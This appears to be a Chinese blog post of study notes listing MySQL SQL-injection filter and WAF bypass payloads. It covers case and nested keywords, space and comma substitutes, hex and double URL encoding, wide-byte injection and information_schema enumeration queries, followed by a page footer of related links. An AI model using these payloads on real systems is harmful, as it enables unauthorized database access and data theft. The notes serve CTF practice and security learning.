1)大小写绕过

此类绕过不经常使用,但是用的时候也不能忘了它,他原理是基于SQL语句不分大小写的,但过滤只过滤其中一种。 
这里有道题

2)替换关键字

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3)空格绕过

payload

select/**/*/**/from/**/yz;

select%0a*%0afrom%0ayz; %0a 是回车

/*!select*//*!**//*!from*//*!yz*/;

select(a)from(yz);

select(a)from(yz)where(a=1);

4)替换关键字 

这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

SELselectECT 1,2,3,4

5URL编码

有时后台界面会再次URL解码所以这时可以利用二次编码解决问题 
后台语句

$insert=$link->query(urldecode($_GET['id']));

$row=$insert->fetch_row();

select * from yz

select * from  %2579%257a

6)十六进制绕过(引号绕过)

在SQL语句的数据区域可以采用十六进制绕过敏感词汇

select a from yz where b=0x32;

select * from yz where b=char(0x32);

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

select column_name  from information_schema.tables where table_name="users"

select column_name  from information_schema.tables where table_name=0x7573657273

7)逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。 

substr(),mid()

mid(user() from 1 for 1)

substr(user() from 1 for 1)

select substr(user()from -1) from yz ;

select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数

select left(database(),2)>'tf';

selete * from testtable limit 2,1;

selete * from testtable limit 2 offset 1;

8)比较符(<,>)绕过

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

select strcmp(left(database(),1),0x32);#lpad('asd',2,0)

if(substr(id,1,1)in(0x41),1,3)

新学习了一种骚骚的注入姿势in、between、order by 
select * from yz where a in ('aaa'); 
select substr(a,1,1) in ('a') from yz ;

select * from yz where a between 'a' and 'b'; 
select * from yz where a between 0x89 and 0x90;

select * from yz union select 1,2,3 order by 1; 
也可以用like,根据排列顺序进行真值判断

9)注释符绕过

在注入时的注释符一般为# --当两者不能用时就不能闭合引号 
这里介绍一个奇淫巧技 
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1' 

(1=1)中就有了判断位为下面的注入打下基础

10)宽字节绕过

字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

注:`select`防止用户自定义的名称和mysql保留字冲突

11with rollup

一般结合group by使用

select 1 as test from  yz group by test with rollup limit 1 offset 1;

+------+

| test |

+------+

| NULL |

+------+

12)无列名注入

给未知列名起别名 
select a from (select 1,2,3aunion select * from yz)v;

13 判断列数绕过

当order by 被过滤后就可以使用into 变量来绕过 
select * from yz limit 1,1 into @a,@b,@c;

3.SQL注入知识

1.SQL越界 ,也就是能执行自己的sql语句 

2.盲注的话找一个点可以控制两种不同的反应 

3.取数据并做真值判断 

4.写脚本暴库

上边是基于一般的注入题目的解题步骤,如果有特殊条件也可灵活变通

mysql数据库元信息

在mysql中存在information_schema是一个信息数据库,在这个数据库中保存了Mysql服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称 
和访问权限。在informa_schema中常用的表有:

schemata:存储了mysql中所有的数据库信息,返回的内容与show databases的结果是一样的。 

tables:存储了数据库中的表的信息。详细地描述了某个表属于哪个schema,表类型,表引擎。 

show tables from secuiry的结果就是来自这个表 

columns:详细地描述了某张表的所有的列以及每个列的信息。 

show columns from users的结果就是来自这个表

select database(); #查选数据库

select group_concat(schema_name) from information_schema.schemata

select schema_name from information_schema.schemata limit 0,1  #查询数据库

select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查询表

select column_name from information_schema.columns where table_name='users' limit 0,1;  #查询列

SQL注入WAF绕过姿势的更多相关文章

  1. sql注入waf绕过简单入门

    0x1  白盒 0x2 黑盒 一.架构层 1.寻找源站==> 2.利用同网段==> 3.利用边界漏洞==> ssrf只是一个例子 二.资源限制 Waf为了保证业务运行,会忽略对大的数 ...

  2. Web安全之SQL注入(原理,绕过,防御)

    首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...

  3. sql注入100种姿势过waf(二):过安全狗

    仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395  最新版   数据库是mysql ...

  4. sql注入100种姿势过waf(一):waf 了解

    仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包, ...

  5. sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL

    题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后 ...

  6. 登陆页面Sql注入(绕过)

    如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...

  7. SQL注入的绕过

    一.常用符号的绕过 1.空格 1 空格代替:+ %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 2 括号绕过:常用于基于时间延迟的盲注,例如构造语句: ?id=1 ...

  8. mysql sql注入getshell新姿势

     sql.php?sql=1'报错信息为:1064:You have an error in your SQL syntax; check the manual that corresponds to ...

  9. sql注入常见绕过技巧

    参考链接:https://blog.csdn.net/huanghelouzi/article/details/82995313 https://www.cnblogs.com/vincy99/p/9 ...

随机推荐

  1. JS缓冲运动案例:右下角悬浮窗

    JS缓冲运动案例:右下角悬浮窗 红色区块模拟页面的右下角浮窗,在页面进行滚动时,浮窗做缓冲运动,最终在页面右下角停留. <!DOCTYPE html> <html lang=&quo ...

  2. gdb调试core dump使用

    什么是coredump? Coredump叫做核心转储,它是进程运行时在突然崩溃的那一刻的一个内存快照.操作系统在程序发生异常而异常在进程内部又没有被捕获的情况下,会把进程此刻内存.寄存器状态.运行堆 ...

  3. 调度器简介,以及Linux的调度策略(转)

    进程是操作系统虚拟出来的概念,用来组织计算机中的任务.但随着进程被赋予越来越多的任务,进程好像有了真实的生命,它从诞生就随着CPU时间执行,直到最终消失.不过,进程的生命都得到了操作系统内核的关照.就 ...

  4. 七:Redis的持久化

    1.RDB(Redis DataBase) 1.1 定义:在指定的时间间隔内将内存中的数据集快照写入磁盘,也就是行话讲的snapshot快照,他恢复时是将快照文件直接读到内存里 是什么:Redis会单 ...

  5. ceph的rbd备份软件ceph-backup

    teralytics是一家国外的大数据公司,这个是他们开源的ceph的备份的工具,在twitter上搜索相关信息的时候看到,觉得不错就拿来试用一番 这是个什么软件 一个用来备份 ceph 的 rbd ...

  6. 《.NET 5.0 背锅案》第7集-大结局:捉拿真凶 StackExchange.Redis.Extensions 归案

    第1集:验证 .NET 5.0 正式版 docker 镜像问题 第2集:码中的小窟窿,背后的大坑,发现重要嫌犯 EnyimMemcachedCore 第3集-剧情反转:EnyimMemcachedCo ...

  7. FL Studio录制面板作用介绍

    在上一节教程中我们详细的讲解了一下FL Studio录制面板菜单的一些功能,今天我们将继续讲解该面板的知识.具体内容小编这里就不多说了,还是一起来看看吧! 1.录音倒数.该按钮在打开的情况下会在录音前 ...

  8. 「LOJ 3153」 「JOI Open 2019」三级跳

    题面 LOJ 3153 solution 对于任意一对\(A,B\),若区间\([A,B]\)中存在一个数权值大于\(A\)或\(B\),则用这个数来替代\(A\)或\(B\)显然更优. 故只需要考虑 ...

  9. 【爬虫】基于PUPPETEER页面爬虫

    一.简介 本文简单介绍一下如何用puppeteer抓取页面数据. 二.下载 npm install puppeteer --save-dev npm install typescrip --save- ...

  10. Java —— for while do...while循环(1)

    //for循环 for(初始化语句 ;循环条件; 迭代语句){ 循环体; } //while循环 初始化语句; while(循环条件){ 循环体; 迭代语句; } //do...while循环 初始化 ...